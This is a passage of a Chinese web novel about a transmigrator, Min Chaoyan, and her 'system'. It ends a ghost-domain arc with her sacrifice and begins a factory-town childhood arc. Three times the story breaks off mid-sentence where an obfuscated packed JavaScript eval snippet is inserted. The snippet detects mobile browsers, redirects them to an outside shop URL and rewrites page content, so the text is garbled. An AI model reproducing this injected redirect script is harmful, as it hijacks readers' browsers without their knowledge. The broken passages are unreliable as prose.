闵朝言蹲下,看着越珑的眼睛,很久。 “我们要去找林月诀,我们要去杀了他!” 越珑喊着,抬手拿起长刀。 闵朝言握住了她的手腕,阻止了她的动作。 “不用找了,他就在这里。” 闵朝言低声回答。 一直站在她身侧的“捉鬼人”林月诀笑了一声,嗓音甜蜜: “你怎么认出我的?” 闵朝言转过头,看着他。 林月诀站在原地,俊秀而美丽,长发散落在肩头,一双黑曜石般的瞳仁里,透不进去一点光。 “因为你在变弱,你无法控制幻境,也没有力量继续维持里面的一切,只能自己顶上‘少年捉鬼人林月诀’这个角色。” 闵朝言回答。 “这是逻辑上的回答。” 她说。 林月诀没说话,他带着一点笑意,静静地等待着那个“非逻辑”的答案。 “至于我为什么看出来,是因为……” 闵朝言缓缓走近他,指尖拨开他的衣领,在锁骨下方,有一个深深的齿印,发黑的血痕此刻依然没有愈合。 林月诀低下头,鼻尖蹭过她的指尖,将她的手心轻轻贴在自己的脸颊。 “因为你爱我。” 她说。 …… 林月诀睁大了眼睛,手上的动作顿住,伪装出的呼吸停下,他仿佛真的感受到胸腔里有一颗心脏在疯狂跳动着。 他以为,她会说什么“你身上有我的印记”之类的话, 这样,他可以最后说点暧昧炙热的调情,或者俏皮一点的撒娇。 她却选择在这个时候,刺破他那些冰冷的,即将随着风一起成为灰烬的感情。 真是自私的回答, 真是好不浪漫的人。 林月诀定定看着她,那双在昨夜还灵活甜蜜的唇瓣长了又合,无数的话渴望着涌出,又被吞了回去。 “这么自信?” 他最后只说出来这句话。 话一出口,林月诀恨不得扇自己一巴掌。 他又不是在挑衅,为什么要这么说话?! “嗯,是吧。” 闵朝言点头,抬手摸上他的脸,冰凉的指尖按住他的脸颊,在上面留下一点柔软的凹陷: “如果一个人愿意为了另一个人,背负她的命运去死,我想,这应该就是爱了。” 林月诀握住她的手腕,叹息着: “这么看来,爱可真不是什么好东西。” “我同意。” 闵朝言也笑了,她的指尖抚过林月诀的眼睛,很轻柔地抚过。 她几乎已经感受不到那里还有什么东西依然“存在”着了。 “爱是无理智的愚蠢,我被这样愚蠢的勇气震撼了。” 她低声说着,和林月诀眉心相抵。 “那我可是……会感到非常、荣幸。” 林月诀笑着,和他的声音一起消散在风里。 这一片本就已经摇摇欲坠的鬼域, 也随之消散了。 她们回到了现实, 比鬼域更加可怕的现实。 48. 校园鬼域(完) 天空是黑色的。 黑色的天空下,无数红线从细密的角落中蠕动着溢出,向一个方向齐齐爬去。 去吧,去吧! 去往那里,那里是永恒的乐园。 去吧,去吧! 去往那里,那里是不灭的地狱。 鬼域消散之后,世界依旧黑暗。 因为那些红线真正将渴望的,向往的那个存在,依然存在着。 闵朝言看着不断将自己缠绕住的红线,垂下了眼。 这是鬼王的命运。 她的存在即代表着灭亡与绝望, 这一切并不以她的意志为转移。 越珑深深低着头,她如同一尊被刻意扔在岩浆中的雕塑,血液已经在痛苦地沸腾着,外层却被封上了厚厚的石壳。 无法挣脱,恐惧挣脱。 也许离开石壳,那原本就已经足够痛苦的岩浆,会更加凶狠地吞噬烧熔尽她的血肉。 “越珑。” 有人唤她的名字。 越珑一直觉得这个声音有种很特别的质感,总是平静无波,仿佛与这个世界,和这个世界上所有的一切人事,都没有关联。 远远的,高高的, 是一个不专心的观众,一个不投入的评委。 “越珑。” 那声音又唤了一遍。 观众走上了舞台。 当评委与台上的角色共舞时,手中的打分表自然也就落在了地上。 那上面本就是一片空白。 “越珑!” 闵朝言的声音扬起。 她的声音不再平静了,有什么东西在其中涌动着,犹豫,不安,和隐隐对于什么的渴望。 越珑抬起头看她。 “……是你啊。” 越珑血痕与泪痕重叠的脸上,露出一个难看的笑容。 越珑自己说过,自己之所以对林月诀一直抱有警惕和怀疑,在于对方离奇的出现,与外表不符合的寂寂无名,以及最本质的 ——他不像人。 他的情绪太专注太浓烈,太稳定太不偏移。 人不会这样。 但闵朝言难道就不符合这几点吗? 开学的前两周里, 越珑完全没有听说过闵朝言的存在,只是在某一节课上突然见到了她。 可闵朝言这样的人,怎么可能没有人议论,没有人爱,没有人恨? 她分明该是每一个目光的终点和焦点。 ——闵朝言就像人吗? 她的情绪太少太淡,太飘移太随手即弃。 人也不会这样。 “原来,是你啊。” 越珑笑了一声,脸上的伤口睁开,眼泪淹进去,疼得她想笑。 越珑很想说自己在之前完全没有察觉过这些疑点,完全没有对闵朝言的身份有所怀疑。 她想说自己也被骗了,也被蒙蔽了。 但是, 她真的不知道吗? 在她被闵朝言的动作引入第一个鬼域的时候, 她真的不知道吗? 在她看着闵朝言机器人一样第一次喝酒喝到醉晕过去的时候, 她真的不知道吗? 在她坐在教室里,看着闵朝言直勾勾盯着一个地方,然后鬼域就入侵了现实的时候, 她真的不知道吗? 当她在林月诀的鬼域幻境中,看到闵朝言站在鬼王巢穴里的时候, 她真的,不知道吗? “越珑。” 闵朝言叫她的名字。 “你赢了。” 越珑看着闵朝言的眼睛,神色惨然。 “林月诀把我们都拉入了幻境,不止我们五个人,整个川阳大学。鬼王的气息侵染了所有人,现在,大家都要变成化尸了。” 越珑的目光落在一边,木灼青和顾羽躺在那里,脸色青白,身体冰凉。 她们都化尸了。 闵朝言的视线在顾羽脸上停留了一瞬。 恐怕早就在这次进入鬼域之前,顾羽就已经被鬼王的气息侵染了,因为闵朝言在需要阳气的时候,随手抓了一个路过的人强吻。 顾羽只是刚刚好,在那个瞬间比较倒霉。 ‘如果木灼青和顾羽死了,算完成剧情点吗?’ 闵朝言问系统。 「啊?啊!可以算,毕竟在原剧情里,两个人都是被鬼王杀死之后,用来刺激越珑爆种的。咱们又入帐100积分呢。」 系统叹了口气,不知道自己现在是什么心情。 有积分入帐明明是好事啊, 它怎么就高兴不起来呢? ‘所以,我只需要在完成这两个情节点之后,在被越珑杀死,所有人的化尸就都可以逆转,任务完成,对吗?’ 闵朝言问。 「是的呀。」 系统不算雀跃的回答。 “完成这两个情节点”, 也就是,看着木灼青和顾羽死去之后。 闵朝言收回视线,开口: “越珑,你会杀了我吗?” …… 越珑没有回答。 “你之前说过,你会杀了鬼王,重新封印终魇鬼域。” 闵朝言说。 越珑直直看着闵朝言的眼睛,依然沉默。 “你为什么不动手?” 闵朝言笑了。 她很少笑, 笑容无非是用于表达社交意愿或者传递无用情绪的工具,这两者,闵朝言都不需要。 …… 越珑依然沉默。 “你为什么不动手?” 闵朝言走近一步,又问越珑。 “我不知道!我不知道怎么动手!我不知道!” 越珑大吼。 她手中的大刀早已崩刃,上面的血迹镶嵌在缺齿里,像是被红色重重描绘过的伤疤。 “你知道,你一直都知道。” 闵朝言摇头。 鬼王用锋利的指甲割破了掌心,红色浓郁近黑的血液溢出。 闵朝言将手掌放在地面上,抚摸着大地, 黑色血液在地面上留下痕迹,沙粒和碎石子被压进伤口,皮肉卷曲翻起。 那黑色的线条凌乱,癫狂,仿佛看一眼都是精神污染。 但这, 其实从来只对闵朝言而言。 再难看的漫画,也只是漫画而已, 闵朝言根本就没有强烈的自我审美偏好,她怎么会对一个画面做出“精神污染”的评价? 因为这不是审美层面的比喻, 而是她的精神,真的在每一次看到这个画面的时候, 受到了污染和攻击。 能污染鬼王的, 是什么? 能攻击鬼王的, 是什么? “你其实一直都知道,该怎么杀死我。” 闵朝言收回自己的手掌, 那上面此刻已经血肉尽数凋零,只剩下白骨崎岖。 ‘系统,我知道为什么她的崩坏值一直都是99了。’ 闵朝言说。 「什么?」 系统还愣着。 越珑的漫画里,那些凌乱的线条, 从来就是封印本身。 ‘她没有放弃过自己的使命,只是找了一个新的方法。’ 闵朝言轻声说。 所以那最后的一点崩坏值,最后的“1”, 一直没有出现过。 亲手杀死鬼王,封印鬼域, 就是那个“1”。 “我知道怎么杀死鬼王,可我不知道怎么杀死你!!” 越珑的声音里带着泣音。 “越珑,我是你的朋友吗?” 闵朝言站起身,看着她。 “朋友?朋友?!” 越珑反问,声音凄厉,她眼中有怒火,有绝望,有泪意。 闵朝言分不清这么多复杂的情绪, 她也决定不再去分析那些东西。 她只是往前走。 再往前,是封印的咒文,是越珑残破的刀刃。 一步, 再一步。 刀刃抵上她的胸口。 “是,你是我的朋友。” 越珑举着刀,眼泪滚落。 “朝言,对不起,我知道,被生出来,不是你的错。” 她看着闵朝言,一瞬间,恨与怨尽消。 她又笑了,像她们第一次见面时那样,如果那些泪水和血痕能够消失的话, 闵朝言甚至有一时间的恍惚。 “我会永远记得,闵朝言是我的朋友。” 越珑说。 我也会永远记得,我亲手杀死了我的朋友。 越珑想。 刀刃向前,却无法再刺穿任何东西, 因为那里已经没有“存在”了。 “朝言?朝言?!” 越珑扔下大刀,不顾一切地扑过来,她想要抱住闵朝言,手却只抓住空气。 闵朝言站在封印上,身体虚化,那些血液和怨念织成的红线,再也无法捆住她了。 “越珑,你也是我的朋友。” 闵朝言说着,抬手擦掉越珑眼下的泪。 这滴眼泪是她最后能触及的东西, 因为在下一刻, 黑色天空,红色的丝线,怨念与死亡, 以及被这一切所带来的鬼王, 都尽数消散在天地间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598997|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “越珑,我送你自由。” 这是越珑听见的,来自友人的最后一份礼物。 [叮——!] [警告!警告!] [主角“越珑”崩坏值达到100满值!] [主角“越珑”崩坏值达到100满值!] [主角“越珑”已崩坏!] [副本“校园鬼域”已崩塌!] [警告!警告!警告!] 嗯?这是什么声音? 越珑迷茫地抬头看去。 校园,天空,世界, 和她, 都尽数散去了。 - 闵朝言在一个黑色空间睁开眼睛。 这空间无比狭窄,她甚至不能伸开自己的手臂。 这个副本的开局这么惨? 「闵朝言!你闯大祸了!越珑崩坏值满了!那个副本直接崩塌了!」 系统大叫。 「你完蛋了,主系统肯定要杀你的!怎么办怎么办怎么办——」 系统疯狂挠头。 ‘你让祂杀啊。’ 闵朝言靠在墙壁上,很不在意。 「你说什么呢?!我能让你死吗?!我疯了?我好不容易才把从那个副本里抢出来藏在我的系统空间里!」 系统尖叫。 「你到底怎么想的啊?你干嘛自杀啊?让越珑杀你,至少她崩坏值维持在99,咱们不算任务成功也不至于搞塌副本啊!!!」 系统崩溃了。 ‘因为我是越珑的朋友。’ 闵朝言回答。 如果亲手杀死闵朝言,手刃友人的痛苦,恐怕会让越珑一生难安。 「她现在确实不会一生难安了!因为她死了!构成副本的小宇宙都崩塌了!」 系统大叫。 ‘或许吧。’ 闵朝言闭上眼,唇角勾起一点。 她回忆起不久之前,在即将溃散的鬼域幻境中,林月诀拥住她,只留下一句话: “谢谢你,让我自由。” 林月诀是闵朝言见过的,第一个崩坏值达到了100的角色。 据系统说,崩坏值满值,意味着角色崩坏。 也许是吧。 在原剧情中,林月诀是一个在前世被鬼王杀死,因为想要杀死鬼王的强烈执念而化成成为鬼将,他所有的出场都是为了杀死鬼王。 这是角色“林月诀”的本质。 但遇见闵朝言之后,林月诀爱上了她。 他不再想要杀死鬼王, 那份支撑他成为鬼将的执念,自然消散了。 体现在系统视角里,就是暴涨到100满值的崩坏值。 但闵朝言决定相信林月诀一次, 也许满值的崩坏值背后,所代表的, 不是崩坏, 是自由。 甚至就连予烬的去向,闵朝言都有了一些新的思考。 他的确跟着系统和闵朝言离开了那个“属于他”的副本世界,但在那之后,他又去了哪里? 显然,并不是“校园鬼域”这个副本。 但这些东西,闵朝言还不打算和系统和盘托出。 不是因为不信任它,只是没必要现在就让它去怀疑一切, 毕竟它是一个为了消除崩坏值而诞生的系统。 「不想让别人一生后悔,所以决定提前结束别人的一生,果然是闵朝言独家逻辑……总之这次你把主系统惹毛了,你的任务者帐户直接被锁掉了!」 系统碎碎念, 「我们得将功补过,再去完成一个副本的任务,然后再向主系统求情,让祂给你解锁!」 ‘那怎么办?’ 闵朝言很配合地回答。 她确实还有一些问题,需要进入副本里才能找到答案。 「你现在不能以任务者的权限进入副本了,我得偷偷把你运进去,我的算力比主系统差远了,所以你可能要做出一点小小的牺牲。」 系统说。 ‘牺牲?不能用道具吗?我猜到了。’ 闵朝言回答。 「不止是这个啦。不过,你就当体验好了,反正你不是说,你因为失忆,根本不记得自己的童年吗?」 系统心虚地笑了一声。 ‘什么——?’ 闵朝言还没来得及问,脚下忽然一空。 「抱歉啊我算力能维持的系统空间只有这么久反正就是重新当一下小孩子嘛没关系的你坚持到十八岁记忆就能解锁了——!」 失忆? 小孩子? 到十八岁? 彻底失去意识之前,闵朝言脑子里只有一句话: 她要锤死这个系统! 49. 芳芳纺织厂(1) 1096年,重平市, 芳芳纺织厂职工家属区5号楼终于审批通过,允许分配到福利住房的员工家庭陆续入住。 5号楼是最后建成的一栋职工家属楼,它只有五层楼高,比旁边的1-4号楼都矮了一头,看上去没什么气势。 但比起前面几栋水房厨房都挤在一起,一家人挤在一起却只有不到三十平的筒子楼,五号楼里的房子可就“阔气”多了。 闵长风扛着两个大麻袋走进崭新的单元门,看着楼面上崭新的白色瓷砖,狠狠扬眉吐出一口气,脸上的笑容怎么都收不住。 这可不是筒子楼了,这是单元楼! “言言,你看,这就是咱们的新家了!气派吧?我跟你说,咱们家就得听你妈的!前几年你爸那边分房指标下来了,他非要签,我都气死了!好说歹说没让他签!” 闵长风个子矮小,但力气很足,扛着两个比她都大的麻袋,一手还牵着女儿,嘴上还能连珠炮一样说个不停,都不带喘气的。 胜利果然会让人忘记劳累。 “当初签了协议,咱们就得去住4号楼了!那都是快二十年的老楼了,多憋屈啊!我可是帮车间主任赶出了三倍的指标,她才告诉我的内部消息:五号楼马上就开建了,我们当时不签分配,到时候就能争取分到五号楼里!” 她个子矮,不能一步两个台阶,短腿快捣着“蹭蹭”就上了三楼,走近自己分到的新房子里,看着四面的大白墙,满意的不得了。 此刻,站在自己崭新的,五十平米的,两房还带了厕所和厨房的新房子里,她觉得一切都值得了。 不眠不休替车间主任赶出来的超额指标;刚到手的工资转手就成了调度员技术员家里的黄桃罐头;从手里扣出来的一点现钱拿去给生产科长的小女儿买了新自行车…… 她自己姑娘还没骑上新自行车呢! 想到这里,闵长风又有点心疼了,她将扛着的麻袋放在地上,小心翼翼地,生怕碰坏了里面的家当。 东西放好之后,闵长风把手往衣摆上擦了擦,蹲下来抱住女儿,摸着自己给她扎的四股辫,爱不释手。 “朝言呀,今年过年,妈妈给你买个大自行车,你随便骑!” 她对女儿许诺。 时年六岁的闵朝言放下了手中的小书包,面无表情地看着兴奋过头的母亲,小大人一样: “我不喜欢骑自行车。” 闵长风被女儿这幅模样可爱得心都一颤,又亲了她一大口,笑着说: “那你喜欢什么?妈妈都给你买!” 闵朝言想了想,眼珠子咕噜噜一转,看着她: “先存着。” 目前来说,闵朝言觉得自己没有什么很想要的东西,但母亲很少这么兴奋,她觉得自己如果不要个大件的东西,就亏了。 上个月,她要的生日礼物是一本新华字典,结果新华字典是小学开学之前,每个学生都要买的必需品。 这种错误不能再犯了! 闵朝言暗暗下定决心。 闵长风抱着女儿看了又看,觉得这孩子哪里都可爱,哪里都精致。 在整个芳芳纺织厂里,闵长风都是很有名的,不仅仅因为她剽悍的性格,也因为她有着全工厂最聪明,最漂亮的女儿。 工厂的同事都打趣她,说是鲁大娘生了个洋娃娃,洋娃娃还是文曲星下凡的。 闵长风可不谦虚,这种夸奖话她是照单全收,还叫人家夸得再响一点,她怕隔壁车间的人听不见。 闵父搬着箱子进来,他是个沉默高大的英俊男人。 他穿着汗衫,一次能抬三个大箱子上三楼,在锅炉房里干出来的肌肉健壮结实,汗水顺着手臂滑下来,闵长风看着看着,眼睛就直了。 “咳咳,言言,妈妈爸爸进房间里休息一下,你去天井和小朋友打招呼,好不好?” 闵长风给女儿手里塞了几个钢镚,冲丈夫眨眨眼。 “嗯,去吧。” 闵父放下箱子,低下头闷声说,耳朵尖露出一点红。 闵朝言来回看了一下,接过钢镚就出门了。 她出门很少打招呼,是一个非常我行我素的孩子,不过家长也从来不说她。 聪明的孩子本来就有特权,漂亮的孩子也有特权,一个又聪明又漂亮的孩子,简直就是家里的小皇上。 闵朝言走到天井,手里带着六个钢镚,都是五毛钱的。 她打算省下来,不和任何人分。 她的小猪存钱罐里已经有十三块钱了,她正在攒钱买一个宠物。 闵朝言想要一个宠物,最好是一只精灵。 不过她也知道,这种事情只在童话书里有,如果想要宠物的话,她应该攒钱买一只小狗。 闵朝言坐在台阶上,抬头看着高高的天井,她的四股辫搭在肩膀上,在阳光下依然是浓郁的黑色。 “走快点,你没吃饭啊?” 一声呵斥传来。 今天是五号楼家属院入住的日子,天井里很热闹,人来人往,吵吵嚷嚷,很多人都在大声说话,这一嗓子本该淹没在声音里,但相反的,它非常刺耳。 可能在一片欢乐的氛围中,愤怒和怨怼总是格外显眼的。 闵朝言抬眼看去。 说话的是一个中年男人,他的眉头深深皱着,带着一种沉重的对生活的怨恨和无能为力。 “催什么,着急你就自己拿啊。” 一个懒洋洋的声音回答他。 正处于变声前期的男孩声音有一点哑,他似乎一点也不在乎父亲的怒火,翻了个白眼,把手里的箱子直接扔到了地上。 纸箱子被摔裂,铜版纸的一角在阳光下反着光。 闵朝言没看清上面具体是什么字,就见原本还站着的中年男人“扑通”一声跪了下去,飞快地将那一角纸塞了回去,动作笨拙而别扭地抱着箱子站了起来。 被摔裂的纸箱子更不好搬了,为了不让里面的东西掉出来,男人的姿势显得很滑稽。 “你你、你个小兔崽子!” 男人涨红着脸,怒骂。 “小兔崽子现在要去不务正业了,您加油搬。” 男孩大笑了一声,转身就走了。 这个人还挺有意思的。 闵朝言笑了一下。 “小孩,你笑我呢?” 男孩大步走了过来,在闵朝言身前停下,蹲下看着她。 他脸上带着笑,没有不高兴的意思,反而兴致勃勃: “你就是那个小文曲星?我妈老提起你,说我要是有你一半聪明,她就烧高香了。” “你妈妈是倪主任吗?” 闵朝言问。 男孩愣了一下,眼睛微微睁大了,这下是真的惊讶: “这你怎么知道的?” “你刚才搬东西的时候,眼睛在找房子,看到301的时候,就停下来了。你应该住在那里。倪主任家住在那里。” 闵朝言回答。 她只有六岁,说话时候声音里还有点小孩子独有的糯和含糊,声调却很平静,发音咬字也很准, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603666|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显出一种超出年龄的冷静。 “哇,真是小文曲星啊。” 男孩感慨。 闵朝言没说话,她听惯了这种称赞,闵长风也没有教她必须对每一次称赞表示感谢。 “我要是我妈,也想要一个你这样的小孩,干嘛生一个我这种的呢。” 男孩在闵朝言身边坐下,深深叹了口气。 “我叫倪淮玉,十二岁。” 男孩自我介绍道。 闵朝言看着他,眨了眨眼,问: “你想和我做朋友吗?” “可以吗?” 倪淮玉有点不好意思地挠挠头,他在十二岁的男孩中长得不算高,很瘦,眼神很机灵,一看就是个经典款皮猴。 说实话, 他和自己的名字并不是很适配。 “你十二岁,应该和自己差不多大的孩子做朋友。我只有六岁。” 闵朝言回答。 “我不是那些讨厌小孩子的人!” 倪淮玉为自己辩解, “而且你看上去也不像六岁啊,我表弟六岁的时候还在流口水呢。” “六岁还在流口水,他需要去医院做检查。” 闵朝言站起来,对着他摆摆手, “还有,做你的朋友,我的回答是:我不是那些喜欢大孩子的人。再见。” 她转身往楼上走了,脑袋后面的两根四股辫跟着她的脚步一起跳动。 倪淮玉坐在原地,半晌,忍不住笑出声来。 真有意思啊,这小孩。 闵朝言进门的时候,闵长风已经和丈夫充分“休息”过了。 两个人汗津津地在自家的厕所里洗了澡,看着自家的大白墙,闵长风飘飘然地眯着眼睛笑起来,她今天被太多的快乐填满了心灵,有种苦尽甘来的幸福。 “言言回来啦?我刚才听天井里有人买冰棍,你吃了吗?” 闵长风抱着女儿问。 闵父转过头看着她,没有说话,眼中却有着很明显的质问:你刚才还有心情听天井? “我问女儿呢。” 闵长风拍了一下他的大腿,又亲亲闵朝言的脸蛋。 “妈妈给你做水蛋吃好不好?还有小馄饨!” 她的心里充满了快乐,声音也是飞扬的。 闵朝言点点头,她喜欢吃小馄饨。 闵朝言喜欢吃带汤的东西,最好是很辣很辣的汤,不过她现在年纪还太小了,闵长风不让她吃得很辣,只会放一点点切好的辣椒,还会把辣椒籽提前去掉。 闵朝言期待自己长得比灶台更高,可以做饭的那一天。 她要吃一碗辣椒汤馄饨。 干脆只有辣椒好了。 看着眼前的清汤小馄饨,闵朝言默默想。 “言言,明天就开学啦,你上一年级啦。” 闵长风把一个小小的奶油蛋糕放在闵朝言面前。 只有巴掌大小的奶油蛋糕,白色奶油上放了一朵红花,还有两片绿油油的叶子,这是只有在闵朝言过生日时才会有的奢侈品。 闵朝言其实并不喜欢吃这个,她是一个很挑嘴的孩子,觉得这种白白的奶油很腻味。 “言言,你开不开心?” 闵长风笑着摸女儿的四股辫。 闵朝言的视线看着她,看着闵父,又落回眼前小小的白奶油蛋糕上。 “开心。” 她说。 六岁的闵朝言,是一个有点古怪的聪明小孩, 她有一个开心的童年。 50. 芳芳纺织厂(2) 芳芳纺织厂是重平市最大的国营工厂,设有自己的附属子弟小学。 上学第一天,闵长风仔仔细细地给女儿的新书包擦干净,连金属拉链都要一尘不染,书包里面的书本全部被细致地包上了书皮,这是闵父熬着夜包好的,他手很巧。 闵朝言早上醒过来,自己站在小凳子上刷牙洗脸。 以前挤在老宿舍楼里的时候,早上都是闵父去给打好水回来方便她洗脸刷牙,现在有了自己的卫生间,总算省去了这个麻烦。 她仔细地擦干净脸,涂上薄薄一层雪花膏,闵长风每天都会检查这个,闵朝言的皮肤嫩,夏天容易红冬天容易裂。 闵长风听人说吃蒸苹果能让皮肤更健康,每周都给女儿蒸两回。 其实没什么用,但这也算是闵朝言爱喝的饮料了,这个习惯就这么延续了下来。 “言言,我们出发吧?” 闵长风牵起女儿的手。 “我自己去就可以了。” 闵朝言抬头说。 “第一天,送你吧。” 闵父给女儿系好鞋带,新买的小白鞋很亮眼,是眼下最时兴的样式。 他自己穿着的衣服已经很旧了,洗得发白,早就松垮没有样子,只靠健壮的身材和一张俊脸撑着,居然也不显得随意廉价。 “言言,你要是谈男朋友,最少要比你爸帅。” 闵长风感慨了一句,笑着牵着女儿往前走。 “当年呀,你爸一个农村来的穷小子,啥也没有,就是长得好看,有力气,马上就被你妈我挑中了。” 说起自己当年的故事,闵长风是很得意的。 她出生于农村家庭,读到初中的时候,家里不肯供了,她就自己打零工硬是撑到初中毕业。 闵长风初中成绩很好,在全镇里都是第一名。为了上中专,她央求着老师给家长做思想工作。那位老师也肯帮忙,她告诉闵长风父母,闵长风中专毕业就能包分配进国营工厂,去做技术骨干,能帮持整个家庭。 终于,家里人松了口,同意她去考中专。闵长风也争气,一次就考上了。 中专毕业后,闵长风被分配进了重平市最大的纺织厂,工作两年就升任班长,到了适婚年龄,有不少干部家庭的儿子,都对她各种殷勤。 但闵长风不想去别人家里当媳妇,进了干部家庭,她要受的气还不知道有多少呢。 闵长风谁也没选,反而看上了工厂锅炉房里一个俊俏的临时工小子。 这小子是农村来的,没有城市户口,初中也没毕业,靠着远房亲戚的推荐信才当上临时工。不过呀,虽然不爱说话,但长得俊,干活很卖力气,周围人没有不夸他的。 没有学历也没有家庭背景,他怕是这辈子也混不上正式工编制,不会有城市户口。这在婚姻市场上是极大的不利。 不过闵长风不在意这些,她看着这小子,又高又大,瞟到他干活的时候手臂肌肉鼓起来的样子,心里就飘飘然了。 结婚什么最重要? 闵长风早就知道了。 谁给这个家挣来更多的钱,谁就最大。 她做惯了自己的老大,绝不肯找一个人压在自己头上。 她和锅炉房的小子结了婚,对方得到了正式工的编制,成了城市户口;而她得到了一个跟着自己姓的女儿,一个听话英俊的丈夫,和她一直以来最渴望的: 一家之主的地位和权力。 一如既往的,闵长风做了自己的主,用尽全力得到了她想要的东西。 “言言,我们到啦!” 闵长风站在学校门口,放开女儿的手,依依不舍。 “你放学了就赶紧回家啊,妈妈给你做好吃的。” 她眼睛有点红了。 闵父搂住她的肩膀,无声地安慰着妻子。 “我进去了。” 闵朝言看着周围抱着妈妈爸爸不肯松手的其他小孩,面无表情地眨了眨眼,转身进了校门。 一(8)班里,闵朝言选了一个最后排的位置,把自己的书都拿出来。 “闵朝言,你为什么不和我一起坐?” 一个童声响起,个子小小的女孩子站在闵朝言身边有点不满地噘嘴。 白百福,她是闵长风工友程新的孩子,今年和闵朝言同岁,两个人一起上小学。 白百福的眼睛红红的,估计是在校门口哭了。 “我不喜欢坐第一排,你太矮了,老师会把你放在第一排的。” 闵朝言诚实回答。 白百福听到这个回答,已经红透了的眼睛里又开始有泪花打转转了。 “可是,我想和你坐一起,我和你一起坐最后一排吧?” 白百福瘪着嘴说。 “坐在最后一排你你就看不见黑板了,那你就上不了课了。” 闵朝言摇头。 “你、你就是不想和我坐一起!!” 白百福“哇”一声哭出来,转身跑走了。 闵朝言看着她跑走的背影,有点不理解发生了什么。 小孩子的心情真是很麻烦。 闵朝言自己就不会这样又哭又笑的,脸上的表情换来换去难道不累吗? “你怎么把她惹哭了?” 一个圆滚滚的小男孩从门外走进来,指着闵朝言问。 闵朝言看了他一眼,没有回答。 她一向很懒得回答这种问题。 “你还不说话!你是不是故意的!” 男孩的圆脸上满是义愤填膺, “你这样是欺负同学!” 他的声音实在是很响亮,整个教室都看了过来。 除了闵朝言,她正在整理自己的课本。 “你欺负同学,还不搭理人!你是坏人!” 他的声音更大了,他挺起圆滚滚的胸脯,觉得自己像动画片里反抗坏人的主角。 其他学生看着他这样气愤的样子,也开始小声议论起来。 “她是坏人吗?” “可是她也没有大声说话呀。” “但是他说她是坏人啊。” “可是她长得也不想坏人呀。” “但是她没有说自己不是坏人呀。” “啊,好像也是啊。” “坏人!你要给我们好人道歉!” 男孩看到自己有了同伴,声音更大了。 闵朝言整理好了自己的书本,终于抬起头看着他,声音依然很平静: “你好吵。” “坏——嗯?!” 男孩愣住了。 “你好吵,可以闭嘴吗?” 闵朝言觉得自己很有礼貌了。 “你是坏人!你不让别人说话!” 男孩大喊着,来到闵朝言桌子前,手指着她。 闵朝言看着那根和自己距离不到十厘米的手指,缓缓皱起眉。 她开始不高兴了。 “你说我是坏人?” 她看着男孩。 “你欺负同学,你就是坏人,你要给我们道歉!” 男孩大声说。 新学期开学被老师抓来当苦力搬书的倪淮玉捧着书摇摇晃晃地路过一楼,听见一个炸耳的声音,翻了个白眼。 一年级的小鬼真的好吵。 他又想起昨天遇见的那个小孩了,在这个年龄的小孩里,那种不吵不闹还能正常说话的孩子,真是太少见了。 她怎么说话的来着—— “你们也觉得我是坏人吗?” 闵朝言看着教室里其他人。 嗯? 听见耳熟的声音,倪淮玉探头,透过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608742|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玻璃看过去。 真在这? 还被人指着鼻子喊了? 倪淮玉皱了下眉,正要抬脚进去,动作却又顿住。 他这样进去给小孩撑腰,现在可能有用,但他走之后,不会让事情变得更糟吧? 其他的小孩子你看看我看看,看看满脸涨红大喊大叫的男孩,又看看安静坐在桌子上一直没喊过的闵朝言,也不知道自己该向着谁。 “我,我觉得你不像坏人。” 一个孩子小声说。 “我也觉得,我觉得她好安静!” “我、我觉得她不说话,是好人!” “我觉得她好看!” 闵朝言的视线平移回到男孩身上,说: “他们觉得我是好人。” “但是你把刚才那个女生弄哭了!这是不对的!” 男孩不肯罢休。 “哦。” 闵朝言说。 “你还‘哦’!” 男孩更生气了。 “大家都在找朋友,你为什么不去,你没有朋友吗?” 闵朝言问。 “……什么?” 男孩没反应过来。 “没有人找你说话,因为没有人想认识你,他们觉得我是好人,你指着我,你和我不是一边的。” 闵朝言看着他的眼睛,很认真地说: “你才是坏人。” “我?我是坏人?我不是!!!” 男孩尖叫。 闵朝言抬手捂住耳朵。 “你好吵,大家都讨厌你了。” 她眨了眨眼,对着男孩露出一个笑容。 男孩停下了尖叫,他转过头看,果然,教室里的同学们,都捂着耳朵,对他露出了讨厌的表情。 “哇——!!!我不是坏人——!!!” 男孩大哭尖叫着。 “怎么回事怎么回事?” 老师一走进教室,就看到男生坐在闵朝言座位前大哭大闹的样子,下意识皱起眉。 “他应该是想家了吧,老师。” 闵朝言说, “我可以安慰他。” 